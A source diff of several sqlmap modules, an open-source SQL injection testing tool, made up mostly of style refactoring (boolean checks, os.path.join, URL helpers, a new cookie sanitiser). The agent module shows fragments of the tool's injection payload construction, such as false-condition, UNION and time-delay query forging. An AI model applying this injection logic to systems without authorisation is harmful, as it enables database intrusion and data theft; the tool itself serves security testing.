||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -37,7 +35,6 @@ from plugins.dbms.mysql import MySQLMap
|
||||
from plugins.dbms.oracle import OracleMap
|
||||
from plugins.dbms.postgresql import PostgreSQLMap
|
||||
|
||||
|
||||
def setHandler():
|
||||
"""
|
||||
Detect which is the target web application back-end database
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import randomInt
|
||||
@@ -45,7 +43,6 @@ class Agent:
|
||||
temp.start = randomStr(6)
|
||||
temp.stop = randomStr(6)
|
||||
|
||||
|
||||
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
|
||||
"""
|
||||
This method replaces the affected parameter with the SQL
|
||||
@@ -56,9 +53,9 @@ class Agent:
|
||||
negValue = ""
|
||||
retValue = ""
|
||||
|
||||
if negative == True or conf.paramNegative == True:
|
||||
if negative or conf.paramNegative:
|
||||
negValue = "-"
|
||||
elif falseCond == True or conf.paramFalseCond == True:
|
||||
elif falseCond or conf.paramFalseCond:
|
||||
randInt = randomInt()
|
||||
falseValue = " AND %d=%d" % (randInt, randInt + 1)
|
||||
|
||||
@@ -83,7 +80,6 @@ class Agent:
|
||||
|
||||
return retValue
|
||||
|
||||
|
||||
def fullPayload(self, query):
|
||||
query = self.prefixQuery(query)
|
||||
query = self.postfixQuery(query)
|
||||
@@ -91,7 +87,6 @@ class Agent:
|
||||
|
||||
return payload
|
||||
|
||||
|
||||
def prefixQuery(self, string):
|
||||
"""
|
||||
This method defines how the input string has to be escaped
|
||||
@@ -120,7 +115,6 @@ class Agent:
|
||||
|
||||
return query
|
||||
|
||||
|
||||
def postfixQuery(self, string, comment=None):
|
||||
"""
|
||||
This method appends the DBMS comment to the
|
||||
@@ -136,7 +130,7 @@ class Agent:
|
||||
if conf.postfix:
|
||||
string += " %s" % conf.postfix
|
||||
else:
|
||||
if kb.parenthesis != None:
|
||||
if kb.parenthesis is not None:
|
||||
string += " AND %s" % ("(" * kb.parenthesis)
|
||||
else:
|
||||
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
|
||||
@@ -156,7 +150,6 @@ class Agent:
|
||||
|
||||
return string
|
||||
|
||||
|
||||
def nullAndCastField(self, field):
|
||||
"""
|
||||
Take in input a field string and return its processed nulled and
|
||||
@@ -195,7 +188,6 @@ class Agent:
|
||||
|
||||
return nulledCastedField
|
||||
|
||||
|
||||
def nullCastConcatFields(self, fields):
|
||||
"""
|
||||
Take in input a sequence of fields string and return its processed
|
||||
@@ -242,7 +234,6 @@ class Agent:
|
||||
|
||||
return nulledCastedConcatFields
|
||||
|
||||
|
||||
def getFields(self, query):
|
||||
"""
|
||||
Take in input a query string and return its fields (columns) and
|
||||
@@ -285,7 +276,6 @@ class Agent:
|
||||
|
||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
|
||||
|
||||
|
||||
def simpleConcatQuery(self, query1, query2):
|
||||
concatenatedQuery = ""
|
||||
|
||||
@@ -300,7 +290,6 @@ class Agent:
|
||||
|
||||
return concatenatedQuery
|
||||
|
||||
|
||||
def concatQuery(self, query, unpack=True):
|
||||
"""
|
||||
Take in input a query string and return its processed nulled,
|
||||
@@ -327,7 +316,7 @@ class Agent:
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if unpack == True:
|
||||
if unpack:
|
||||
concatenatedQuery = ""
|
||||
query = query.replace(", ", ",")
|
||||
|
||||
@@ -386,7 +375,6 @@ class Agent:
|
||||
|
||||
return concatenatedQuery
|
||||
|
||||
|
||||
def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
|
||||
"""
|
||||
Take in input an query (pseudo query) string and return its
|
||||
@@ -465,7 +453,6 @@ class Agent:
|
||||
|
||||
return inbandQuery
|
||||
|
||||
|
||||
def limitQuery(self, num, query, field):
|
||||
"""
|
||||
Take in input a query string and return its limited query string.
|
||||
@@ -529,7 +516,7 @@ class Agent:
|
||||
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
|
||||
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
|
||||
|
||||
if forgeNotIn == True:
|
||||
if forgeNotIn:
|
||||
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
||||
if " WHERE " in limitedQuery:
|
||||
limitedQuery = "%s AND %s " % (limitedQuery, field)
|
||||
@@ -540,7 +527,6 @@ class Agent:
|
||||
|
||||
return limitedQuery
|
||||
|
||||
|
||||
def forgeCaseStatement(self, expression):
|
||||
"""
|
||||
Take in input a query string and return its CASE statement query
|
||||
@@ -560,6 +546,5 @@ class Agent:
|
||||
|
||||
return queries[kb.dbms].case % expression
|
||||
|
||||
|
||||
# SQL agent
|
||||
agent = Agent()
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
@@ -32,10 +30,7 @@ import string
|
||||
import sys
|
||||
import time
|
||||
import urlparse
|
||||
|
||||
|
||||
from lib.contrib import magic
|
||||
from lib.core.convert import urldecode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -115,7 +110,6 @@ def paramToDict(place, parameters=None):
|
||||
|
||||
return testableParameters
|
||||
|
||||
|
||||
def formatDBMSfp(versions=None):
|
||||
"""
|
||||
This function format the back-end DBMS fingerprint value and return its
|
||||
@@ -139,13 +133,11 @@ def formatDBMSfp(versions=None):
|
||||
|
||||
return kb.dbms
|
||||
|
||||
|
||||
def formatFingerprintString(values, chain=" or "):
|
||||
strJoin = "|".join([v for v in values])
|
||||
|
||||
return strJoin.replace("|", chain)
|
||||
|
||||
|
||||
def formatFingerprint(target, info):
|
||||
"""
|
||||
This function format the back-end operating system fingerprint value
|
||||
@@ -198,7 +190,6 @@ def formatFingerprint(target, info):
|
||||
|
||||
return infoStr
|
||||
|
||||
|
||||
def getHtmlErrorFp():
|
||||
"""
|
||||
This function parses the knowledge base htmlFp list and return its
|
||||
@@ -222,7 +213,6 @@ def getHtmlErrorFp():
|
||||
|
||||
return htmlParsed
|
||||
|
||||
|
||||
def getDocRoot():
|
||||
docRoot = None
|
||||
pagePath = os.path.dirname(conf.path)
|
||||
@@ -236,7 +226,7 @@ def getDocRoot():
|
||||
for absFilePath in kb.absFilePaths:
|
||||
absFilePathWin = None
|
||||
|
||||
if re.search("([\w]\:[\/\\\\]+)", absFilePath):
|
||||
if re.search("[A-Za-z]:(\\[\w.\\]*)?", absFilePath):
|
||||
absFilePathWin = absFilePath
|
||||
absFilePath = absFilePath[2:].replace("\\", "/")
|
||||
|
||||
@@ -269,7 +259,6 @@ def getDocRoot():
|
||||
|
||||
return docRoot
|
||||
|
||||
|
||||
def getDirs():
|
||||
directories = set()
|
||||
|
||||
@@ -306,19 +295,16 @@ def getDirs():
|
||||
|
||||
return directories
|
||||
|
||||
|
||||
def filePathToString(filePath):
|
||||
strRepl = filePath.replace("/", "_").replace("\\", "_")
|
||||
strRepl = strRepl.replace(" ", "_").replace(":", "_")
|
||||
|
||||
return strRepl
|
||||
|
||||
|
||||
def dataToStdout(data):
|
||||
sys.stdout.write(data)
|
||||
sys.stdout.flush()
|
||||
|
||||
|
||||
def dataToSessionFile(data):
|
||||
if not conf.sessionFile:
|
||||
return
|
||||
@@ -326,12 +312,10 @@ def dataToSessionFile(data):
|
||||
conf.sessionFP.write(data)
|
||||
conf.sessionFP.flush()
|
||||
|
||||
|
||||
def dataToDumpFile(dumpFile, data):
|
||||
dumpFile.write(data)
|
||||
dumpFile.flush()
|
||||
|
||||
|
||||
def dataToOutFile(data):
|
||||
if not data:
|
||||
return "No data retrieved"
|
||||
@@ -346,7 +330,6 @@ def dataToOutFile(data):
|
||||
|
||||
return rFilePath
|
||||
|
||||
|
||||
def strToHex(inpStr):
|
||||
"""
|
||||
@param inpStr: inpStr to be converted into its hexadecimal value.
|
||||
@@ -370,7 +353,6 @@ def strToHex(inpStr):
|
||||
|
||||
return hexStr
|
||||
|
||||
|
||||
def fileToStr(fileName):
|
||||
"""
|
||||
@param fileName: file path to read the content and return as a no
|
||||
@@ -384,13 +366,7 @@ def fileToStr(fileName):
|
||||
filePointer = open(fileName, "r")
|
||||
fileText = filePointer.read()
|
||||
|
||||
fileText = fileText.replace(" ", "")
|
||||
fileText = fileText.replace("\t", "")
|
||||
fileText = fileText.replace("\r", "")
|
||||
fileText = fileText.replace("\n", " ")
|
||||
|
||||
return fileText
|
||||
|
||||
return fileText.replace(" ", "").replace("\t", "").replace("\r", "").replace("\n", " ")
|
||||
|
||||
def fileToHex(fileName):
|
||||
"""
|
||||
@@ -407,7 +383,6 @@ def fileToHex(fileName):
|
||||
|
||||
return hexFile
|
||||
|
||||
|
||||
def readInput(message, default=None):
|
||||
"""
|
||||
@param message: message to display on terminal.
|
||||
@@ -431,8 +406,10 @@ def readInput(message, default=None):
|
||||
else:
|
||||
data = raw_input(message)
|
||||
|
||||
return data
|
||||
if not data:
|
||||
data = default
|
||||
|
||||
return data
|
||||
|
||||
def randomRange(start=0, stop=1000):
|
||||
"""
|
||||
@@ -448,7 +425,6 @@ def randomRange(start=0, stop=1000):
|
||||
|
||||
return int(random.randint(start, stop))
|
||||
|
||||
|
||||
def randomInt(length=4):
|
||||
"""
|
||||
@param length: length of the random string.
|
||||
@@ -460,7 +436,6 @@ def randomInt(length=4):
|
||||
|
||||
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
|
||||
|
||||
|
||||
def randomStr(length=5, lowercase=False):
|
||||
"""
|
||||
@param length: length of the random string.
|
||||
@@ -470,14 +445,13 @@ def randomStr(length=5, lowercase=False):
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if lowercase == True:
|
||||
if lowercase:
|
||||
rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)])
|
||||
else:
|
||||
rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)])
|
||||
|
||||
return rndStr
|
||||
|
||||
|
||||
def sanitizeStr(inpStr):
|
||||
"""
|
||||
@param inpStr: inpStr to sanitize: cast to str datatype and replace
|
||||
@@ -493,7 +467,6 @@ def sanitizeStr(inpStr):
|
||||
|
||||
return cleanString
|
||||
|
||||
|
||||
def checkFile(filename):
|
||||
"""
|
||||
@param filename: filename to check if it exists.
|
||||
@@ -503,14 +476,12 @@ def checkFile(filename):
|
||||
if not os.path.exists(filename):
|
||||
raise sqlmapFilePathException, "unable to read file '%s'" % filename
|
||||
|
||||
|
||||
def replaceNewlineTabs(inpStr):
|
||||
replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
|
||||
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
|
||||
|
||||
return replacedString
|
||||
|
||||
|
||||
def banner():
|
||||
"""
|
||||
This function prints sqlmap banner with its version
|
||||
@@ -521,7 +492,6 @@ def banner():
|
||||
by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
""" % VERSION_STRING
|
||||
|
||||
|
||||
def parsePasswordHash(password):
|
||||
blank = " " * 8
|
||||
|
||||
@@ -540,7 +510,6 @@ def parsePasswordHash(password):
|
||||
|
||||
return password
|
||||
|
||||
|
||||
def cleanQuery(query):
|
||||
upperQuery = query
|
||||
|
||||
@@ -554,31 +523,29 @@ def cleanQuery(query):
|
||||
|
||||
return upperQuery
|
||||
|
||||
|
||||
def setPaths():
|
||||
# sqlmap paths
|
||||
paths.SQLMAP_CONTRIB_PATH = "%s/lib/contrib" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_UDF_PATH = "%s/udf" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH
|
||||
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
|
||||
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
|
||||
paths.SQLMAP_CONTRIB_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "contrib")
|
||||
paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "shell")
|
||||
paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "txt")
|
||||
paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf")
|
||||
paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml")
|
||||
paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
|
||||
paths.SQLMAP_OUTPUT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "output")
|
||||
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
||||
|
||||
# sqlmap files
|
||||
paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
|
||||
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
|
||||
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
|
||||
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
|
||||
paths.GENERIC_XML = "%s/generic.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||
paths.MYSQL_XML = "%s/mysql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||
paths.ORACLE_XML = "%s/oracle.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||
paths.PGSQL_XML = "%s/postgresql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||
|
||||
paths.SQLMAP_HISTORY = os.path.join(paths.SQLMAP_ROOT_PATH, ".sqlmap_history")
|
||||
paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr())
|
||||
paths.FUZZ_VECTORS = os.path.join(paths.SQLMAP_TXT_PATH, "fuzz_vectors.txt")
|
||||
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
|
||||
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
|
||||
paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
|
||||
paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
|
||||
paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml")
|
||||
paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml")
|
||||
paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
|
||||
|
||||
def weAreFrozen():
|
||||
"""
|
||||
@@ -589,7 +556,6 @@ def weAreFrozen():
|
||||
|
||||
return hasattr(sys, "frozen")
|
||||
|
||||
|
||||
def parseTargetUrl():
|
||||
"""
|
||||
Parse target url and set some attributes into the configuration
|
||||
@@ -620,11 +586,10 @@ def parseTargetUrl():
|
||||
conf.port = 80
|
||||
|
||||
if __urlSplit[3]:
|
||||
conf.parameters["GET"] = urldecode(__urlSplit[3]).replace("%", "%%")
|
||||
conf.parameters["GET"] = __urlSplit[3]
|
||||
|
||||
conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path)
|
||||
|
||||
|
||||
def expandAsteriskForColumns(expression):
|
||||
# If the user provided an asterisk rather than the column(s)
|
||||
# name, sqlmap will retrieve the columns itself and reprocess
|
||||
@@ -657,7 +622,6 @@ def expandAsteriskForColumns(expression):
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
def getRange(count, dump=False, plusOne=False):
|
||||
count = int(count)
|
||||
indexRange = None
|
||||
@@ -671,14 +635,13 @@ def getRange(count, dump=False, plusOne=False):
|
||||
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
|
||||
limitStart = conf.limitStart
|
||||
|
||||
if kb.dbms == "Oracle" or plusOne == True:
|
||||
if kb.dbms == "Oracle" or plusOne:
|
||||
indexRange = range(limitStart, limitStop + 1)
|
||||
else:
|
||||
indexRange = range(limitStart - 1, limitStop)
|
||||
|
||||
return indexRange
|
||||
|
||||
|
||||
def parseUnionPage(output, expression, partial=False, condition=None, sort=True):
|
||||
data = []
|
||||
|
||||
@@ -693,7 +656,7 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
|
||||
|
||||
output = re.findall(regExpr, output, re.S)
|
||||
|
||||
if condition == None:
|
||||
if condition is None:
|
||||
condition = (
|
||||
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
|
||||
and expression in kb.resumedQueries[conf.url].keys()
|
||||
@@ -729,17 +692,16 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
|
||||
|
||||
return data
|
||||
|
||||
|
||||
def getDelayQuery():
|
||||
query = None
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
if kb.dbms in ("MySQL", "PostgreSQL"):
|
||||
if not kb.data.banner:
|
||||
conf.dbmsHandler.getVersionFromBanner()
|
||||
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
|
||||
if ( kb.dbms == "MySQL" and banVer >= "5.0.12" ) or ( kb.dbms == "PostgreSQL" and banVer >= "8.2" ):
|
||||
if (kb.dbms == "MySQL" and banVer >= "5.0.12") or (kb.dbms == "PostgreSQL" and banVer >= "8.2"):
|
||||
query = queries[kb.dbms].timedelay % conf.timeSec
|
||||
else:
|
||||
query = queries[kb.dbms].timedelay2 % conf.timeSec
|
||||
@@ -748,7 +710,6 @@ def getDelayQuery():
|
||||
|
||||
return query
|
||||
|
||||
|
||||
def getLocalIP():
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((conf.hostname, conf.port))
|
||||
@@ -757,11 +718,9 @@ def getLocalIP():
|
||||
|
||||
return ip
|
||||
|
||||
|
||||
def getRemoteIP():
|
||||
return socket.gethostbyname(conf.hostname)
|
||||
|
||||
|
||||
def getFileType(filePath):
|
||||
try:
|
||||
magicFileType = magic.from_file(filePath)
|
||||
@@ -773,7 +732,6 @@ def getFileType(filePath):
|
||||
else:
|
||||
return "binary"
|
||||
|
||||
|
||||
def pollProcess(process):
|
||||
while True:
|
||||
dataToStdout(".")
|
||||
@@ -791,11 +749,10 @@ def pollProcess(process):
|
||||
|
||||
break
|
||||
|
||||
|
||||
def getCharset(charsetType=None):
|
||||
asciiTbl = []
|
||||
|
||||
if charsetType == None:
|
||||
if charsetType is None:
|
||||
asciiTbl = range(0, 128)
|
||||
|
||||
# 0 or 1
|
||||
@@ -830,21 +787,48 @@ def getCharset(charsetType=None):
|
||||
|
||||
return asciiTbl
|
||||
|
||||
|
||||
def searchEnvPath(fileName):
|
||||
envPaths = os.environ["PATH"]
|
||||
result = None
|
||||
result = None
|
||||
|
||||
if IS_WIN is True:
|
||||
if IS_WIN:
|
||||
envPaths = envPaths.split(";")
|
||||
else:
|
||||
envPaths = envPaths.split(":")
|
||||
|
||||
for envPath in envPaths:
|
||||
envPath = envPath.replace(";", "")
|
||||
result = os.path.exists(os.path.normpath("%s/%s" % (envPath, fileName)))
|
||||
result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName)))
|
||||
|
||||
if result == True:
|
||||
if result:
|
||||
break
|
||||
|
||||
return result
|
||||
|
||||
def sanitizeCookie(cookieStr, warn=False):
|
||||
if cookieStr:
|
||||
result = ""
|
||||
changed = False
|
||||
for part in cookieStr.split(';'):
|
||||
index = part.find('=') + 1
|
||||
if index > 0:
|
||||
name = part[:index - 1].strip()
|
||||
value = part[index:].replace(",","%2C").replace(";","%3B").replace(" ","%20")
|
||||
if value != part[index:]:
|
||||
changed = True
|
||||
result += ";%s=%s" % (name, value)
|
||||
elif part.strip().lower() != "secure":
|
||||
result += "%s%s" % ("%3B", part.replace(",","%2C").replace(";","%3B").replace(" ","%20"))
|
||||
else:
|
||||
result += ";secure"
|
||||
if result.startswith(';'):
|
||||
result = result[1:]
|
||||
elif result.startswith('%3B'):
|
||||
result = result[3:]
|
||||
if changed and warn:
|
||||
warnMsg = "cookie is provided in HTTP unsafe format containing one "
|
||||
warnMsg += "of problematic characters: ' ,;'. temporary sanitized."
|
||||
logger.warn(warnMsg)
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
@@ -22,21 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
import md5
|
||||
import sha
|
||||
import struct
|
||||
import urllib
|
||||
|
||||
|
||||
def base64decode(string):
|
||||
return string.decode("base64")
|
||||
|
||||
|
||||
def base64encode(string):
|
||||
return string.encode("base64")[:-1]
|
||||
|
||||
|
||||
def hexdecode(string):
|
||||
string = string.lower()
|
||||
|
||||
@@ -45,44 +41,39 @@ def hexdecode(string):
|
||||
|
||||
return string.decode("hex")
|
||||
|
||||
|
||||
def hexencode(string):
|
||||
return string.encode("hex")
|
||||
|
||||
|
||||
def md5hash(string):
|
||||
return md5.new(string).hexdigest()
|
||||
|
||||
|
||||
def orddecode(string):
|
||||
packedString = struct.pack("!"+"I" * len(string), *string)
|
||||
return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
|
||||
|
||||
|
||||
def ordencode(string):
|
||||
return tuple([ord(char) for char in string])
|
||||
|
||||
|
||||
def sha1hash(string):
|
||||
return sha.new(string).hexdigest()
|
||||
|
||||
|
||||
def urldecode(string):
|
||||
if not string:
|
||||
return
|
||||
result = None
|
||||
|
||||
doublePercFreeString = string.replace("%%", "__DPERC__")
|
||||
unquotedString = urllib.unquote_plus(doublePercFreeString)
|
||||
unquotedString = unquotedString.replace("__DPERC__", "%%")
|
||||
|
||||
return unquotedString
|
||||
if string:
|
||||
result = urllib.unquote_plus(string)
|
||||
|
||||
return result
|
||||
|
||||
def urlencode(string, safe=":/?%&=", convall=False):
|
||||
if not string:
|
||||
return
|
||||
result = None
|
||||
|
||||
if convall == True:
|
||||
return urllib.quote(string)
|
||||
if string is None:
|
||||
return result
|
||||
|
||||
if convall:
|
||||
result = urllib.quote(string)
|
||||
else:
|
||||
return urllib.quote(string, safe)
|
||||
result = urllib.quote(string, safe)
|
||||
|
||||
return result
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.datatype import advancedDict
|
||||
from lib.core.settings import LOGGER
|
||||
|
||||
|
||||
@@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
from lib.core.exception import sqlmapDataException
|
||||
|
||||
|
||||
class advancedDict(dict):
|
||||
"""
|
||||
This class defines the sqlmap object, inheriting from Python data
|
||||
@@ -45,7 +43,6 @@ class advancedDict(dict):
|
||||
# After initialisation, setting attributes
|
||||
# is the same as setting an item
|
||||
|
||||
|
||||
def __getattr__(self, item):
|
||||
"""
|
||||
Maps values to attributes
|
||||
@@ -57,7 +54,6 @@ class advancedDict(dict):
|
||||
except KeyError:
|
||||
raise sqlmapDataException, "Unable to access item '%s'" % item
|
||||
|
||||
|
||||
def __setattr__(self, item, value):
|
||||
"""
|
||||
Maps attributes to values
|
||||
|
||||
@@ -22,16 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
import os
|
||||
import re
|
||||
|
||||
from lib.core.common import dataToDumpFile
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
|
||||
|
||||
class Dump:
|
||||
"""
|
||||
This class defines methods used to parse and output the results
|
||||
@@ -43,7 +40,6 @@ class Dump:
|
||||
self.__outputFile = None
|
||||
self.__outputFP = None
|
||||
|
||||
|
||||
def __write(self, data, n=True):
|
||||
if n:
|
||||
print data
|
||||
@@ -56,12 +52,10 @@ class Dump:
|
||||
|
||||
conf.loggedToOut = True
|
||||
|
||||
|
||||
def setOutputFile(self):
|
||||
self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
|
||||
self.__outputFP = open(self.__outputFile, "a")
|
||||
|
||||
|
||||
def string(self, header, data, sort=True):
|
||||
if isinstance(data, (list, tuple, set)):
|
||||
self.lister(header, data, sort)
|
||||
@@ -82,12 +76,11 @@ class Dump:
|
||||
else:
|
||||
self.__write("%s:\tNone\n" % header)
|
||||
|
||||
|
||||
def lister(self, header, elements, sort=True):
|
||||
if elements:
|
||||
self.__write("%s [%d]:" % (header, len(elements)))
|
||||
|
||||
if sort == True:
|
||||
if sort:
|
||||
try:
|
||||
elements = set(elements)
|
||||
elements = list(elements)
|
||||
@@ -104,7 +97,6 @@ class Dump:
|
||||
if elements:
|
||||
self.__write("")
|
||||
|
||||
|
||||
def userSettings(self, header, userSettings, subHeader):
|
||||
self.__areAdmins = set()
|
||||
|
||||
@@ -132,7 +124,6 @@ class Dump:
|
||||
self.__write(" %s: %s" % (subHeader, setting))
|
||||
print
|
||||
|
||||
|
||||
def dbTables(self, dbTables):
|
||||
if not isinstance(dbTables, dict):
|
||||
self.string("tables", dbTables)
|
||||
@@ -165,7 +156,6 @@ class Dump:
|
||||
|
||||
self.__write("+%s+\n" % lines)
|
||||
|
||||
|
||||
def dbTableColumns(self, tableColumns):
|
||||
for db, tables in tableColumns.items():
|
||||
if not db:
|
||||
@@ -211,7 +201,6 @@ class Dump:
|
||||
|
||||
self.__write("+%s+%s+\n" % (lines1, lines2))
|
||||
|
||||
|
||||
def dbTableValues(self, tableValues):
|
||||
db = tableValues["__infos__"]["db"]
|
||||
if not db:
|
||||
@@ -306,7 +295,6 @@ class Dump:
|
||||
|
||||
logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
|
||||
|
||||
|
||||
# object to manage how to print the retrieved queries output to
|
||||
# standard output and sessions file
|
||||
dumper = Dump()
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.settings import PLATFORM
|
||||
from lib.core.settings import PYVERSION
|
||||
from lib.core.settings import VERSION
|
||||
@@ -33,63 +31,51 @@ from lib.core.settings import VERSION_STRING
|
||||
class sqlmapConnectionException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapDataException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapFilePathException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapGenericException(Exception):
|
||||
pass
|
||||
|
||||
class sqlmapMissingDependence(Exception):
|
||||
pass
|
||||
|
||||
class sqlmapMissingMandatoryOptionException(Exception):
|
||||
pass
|
||||
|
||||
class sqlmapMissingPrivileges(Exception):
|
||||
pass
|
||||
|
||||
class sqlmapNoneDataException(Exception):
|
||||
pass
|
||||
|
||||
class sqlmapNotVulnerableException(Exception):
|
||||
pass
|
||||
|
||||
class sqlmapRegExprException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapSyntaxException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapUndefinedMethod(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapMissingPrivileges(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapNotVulnerableException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapThreadException(Exception):
|
||||
pass
|
||||
|
||||
class sqlmapUndefinedMethod(Exception):
|
||||
pass
|
||||
|
||||
class sqlmapUnsupportedDBMSException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapUnsupportedFeatureException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapValueException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def unhandledException():
|
||||
